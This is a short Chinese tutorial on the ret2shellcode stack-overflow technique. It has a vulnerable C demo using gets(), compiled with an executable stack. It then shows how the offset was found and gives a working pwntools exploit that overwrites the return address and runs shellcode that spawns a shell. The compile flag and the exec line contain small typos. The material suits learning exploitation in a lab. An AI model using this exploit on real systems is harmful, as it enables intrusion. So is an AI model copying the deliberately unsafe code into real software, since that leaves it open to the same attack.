0x00 条件
- 没有执行shellcode 的函数,没有开启NX保护
- 传入自定义shell code
0x01 ret2shellcode
- shellcode 是黑客编写的用于实行特定功能的代码(短小精悍),通常是开启一个shell
- exec(“bin/sh”,null,null)
- 通常用汇编编写
- 32bit/64bit
0x02 demo
demo1.c
gcc -fon-stack-protector -zexecstack demo1.c -o demo1
#include <stdio.h>
char buf2[200];
int main(){
setvbuf(stdout,0,2,0);
char buf[20];
printf("what's your name: ");
gets(buf);
printf("leave message: :");
gets(buf2);
puts(buf2);
}
0x03 攻击思路
- 栈溢出劫持到buf2地址
- buf2地址写入shellcode4
- shellcode 可以用pwntools 生成
0x04 调试
打开 ida 反编译 查看buf 的地址
buf 地址为 0x601080
gdb 调试 查看返回地址偏移
生成垃圾数据 到get(buf)时填入
到ret 时计算偏移 buf 到返回地址偏移为40**
0x05 exp
from pwn import *
context.arch="amd64"
p=process('./demo1')
buf2=0x0000000000601080
payload=b"a"*40+p64(buf2)
p.recvuntil("name:")
p.sendline(payload)
p.recvuntil("message")
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()